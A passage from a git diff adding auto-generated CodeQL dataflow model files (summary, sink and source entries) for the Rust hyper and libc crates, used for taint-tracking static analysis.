"ReturnValue.Field[crate::proto::h1::conn::Conn::io].Field[crate::proto::h1::io::Buffered::io]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::pending_upgrade", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::upgrade]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_h1_parser_config", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::h1_parser_config]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_timer", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::wants_read_again", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::notify_read]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::chunked", "Argument[0]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Chunked::h1_max_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::chunked", "Argument[1]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Chunked::h1_max_header_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::length", "Argument[0]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[1]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Chunked::h1_max_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[2]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Chunked::h1_max_header_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::recv_msg", "Argument[0].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::dispatch::Client::rx]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::proto::h1::dispatch::Dispatcher::dispatch]", "ReturnValue.Field[2]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::dispatch::Dispatcher::dispatch]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[1]", "ReturnValue.Field[crate::proto::h1::dispatch::Dispatcher::conn]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::recv_msg", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::recv_msg", "Argument[0].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_service", "Argument[self].Field[crate::proto::h1::dispatch::Server::service]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::dispatch::Server::service]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::chunk", "Argument[self].Field[crate::proto::h1::encode::ChunkSize::bytes].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::EncodedBuf::kind].Field[crate::proto::h1::encode::BufKind::Chunked(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::EncodedBuf::kind].Field[crate::proto::h1::encode::BufKind::Exact(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::EncodedBuf::kind].Field[crate::proto::h1::encode::BufKind::Limited(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::encode", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::EncodedBuf::kind].Field[crate::proto::h1::encode::BufKind::Exact(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::encode_and_end", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::end", "Argument[self].Field[crate::proto::h1::encode::Encoder::kind].Field[crate::proto::h1::encode::Kind::Length(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::proto::h1::encode::NotEof(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_chunked_with_trailing_fields", "Argument[self].Field[crate::proto::h1::encode::Encoder::is_last]", "ReturnValue.Field[crate::proto::h1::encode::Encoder::is_last]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_chunked_with_trailing_fields", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::is_last", "Argument[self].Field[crate::proto::h1::encode::Encoder::is_last]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::length", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::Encoder::kind].Field[crate::proto::h1::encode::Kind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_last", "Argument[0]", "Argument[self].Field[crate::proto::h1::encode::Encoder::is_last]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_last", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::Encoder::is_last]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_last", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::proto::h1::io::Buffered::io]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::io_mut", "Argument[self].Field[crate::proto::h1::io::Buffered::io]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::is_read_blocked", "Argument[self].Field[crate::proto::h1::io::Buffered::read_blocked]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::io::Buffered::io]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::read_buf_mut", "Argument[self].Field[crate::proto::h1::io::Buffered::read_buf]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_flush_pipeline", "Argument[0]", "Argument[self].Field[crate::proto::h1::io::Buffered::flush_pipeline]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_max_buf_size", "Argument[0]", "Argument[self].Field[crate::proto::h1::io::Buffered::read_buf_strategy].Field[crate::proto::h1::io::ReadStrategy::Adaptive::max]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_max_buf_size", "Argument[0]", "Argument[self].Field[crate::proto::h1::io::Buffered::write_buf].Field[crate::proto::h1::io::WriteBuf::max_buf_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_read_buf_exact_size", "Argument[0]", "Argument[self].Field[crate::proto::h1::io::Buffered::read_buf_strategy].Field[crate::proto::h1::io::ReadStrategy::Exact(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::write_buf", "Argument[self].Field[crate::proto::h1::io::Buffered::write_buf]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::io::Cursor::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::is_terminated", "Argument[self].Field[crate::proto::h2::client::ConnMapErr::is_terminated]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::for_stream", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[1]", "ReturnValue.Field[crate::proto::h2::server::Server::service]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[2].Field[crate::proto::h2::server::Config::date_header]", "ReturnValue.Field[crate::proto::h2::server::Server::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[3]", "ReturnValue.Field[crate::proto::h2::server::Server::exec]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[4]", "ReturnValue.Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::init_len", "Argument[self].Field[crate::rt::io::ReadBuf::init]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::len", "Argument[self].Field[crate::rt::io::ReadBuf::filled]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::uninit", "Argument[0]", "ReturnValue.Field[crate::rt::io::ReadBuf::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::half_close", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_half_close]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::half_close", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_half_close]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::half_close", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::header_read_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::ignore_invalid_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_keep_alive]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_keep_alive]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::max_buf_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::max_buf_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_max_headers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_max_headers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::pipeline_flush", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::pipeline_flush]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::pipeline_flush", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::pipeline_flush]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::pipeline_flush", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_preserve_header_case]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_preserve_header_case]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_title_case_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_title_case_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_writev].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_writev].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with_upgrades", "Argument[self]", "ReturnValue.Field[crate::server::conn::http1::UpgradeableConnection::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::enable_connect_protocol", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::initial_stream_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::keep_alive_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::keep_alive_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_concurrent_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_header_list_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_header_list_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_local_error_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_pending_accept_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_send_buffer_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_send_buffer_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::exec]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[1]", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::service]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::exec].Reference", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::exec]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::timer].Reference", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::timer]", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::service::util::ServiceFn::f].Reference", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::service::util::ServiceFn::f]", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::call", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::inner", "Argument[self].Field[crate::support::tokiort::TokioIo::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::support::tokiort::TokioIo::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_trailers", "Argument[0]", "Argument[self].Field[crate::support::trailers::StreamBodyWithTrailers::trailers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with_trailers", "Argument[0]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with_trailers", "Argument[1]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::trailers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::client::handshake", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::proto::h2::client::ClientTask::req_rx]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::client::handshake", "Argument[3]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::proto::h2::client::ClientTask::executor]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::ping::channel", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::service::util::service_fn", "Argument[0]", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::poll_read_body", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::write_body", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::write_body_and_end", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::write_trailers", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::encode", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::encode", "Argument[0]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::ffi::body::hyper_buf_bytes", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::ffi::http_types::hyper_response_reason_phrase", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::ffi::hyper_version", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::ffi::task::hyper_executor_new", "ReturnValue", "pointer-invalidate", "df-generated"] diff --git a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml new file mode 100644 index 000000000000..09c7a61c4f71 --- /dev/null +++ b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml @@ -0,0 +1,19 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/libc:libc-test", "::check_file", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc-test", "::reset_state", "Argument[self].Field[crate::style::StyleChecker::errors]", "Argument[self].Reference.Field[crate::style::StyleChecker::errors]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rust-lang/libc:libc-test", "::check_file", "Argument[0]", "path-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/rust-lang/libc:libc-test", "::check_file", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc-test", "::finalize", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml new file mode 100644 index 000000000000..e8dc059dd9d7 --- /dev/null +++ b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml @@ -0,0 +1,28 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::si_addr", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::si_pid", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_pid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::si_status", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_status]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::si_uid", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_uid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::QCMD", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::QCMD", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::WEXITSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::WTERMSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_LEN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_NXTHDR", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_SPACE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::VM_MAKE_TAG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::WSTOPSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::_WSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::major", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::makedev", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::makedev", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::minor", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml b/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml new file mode 100644 index 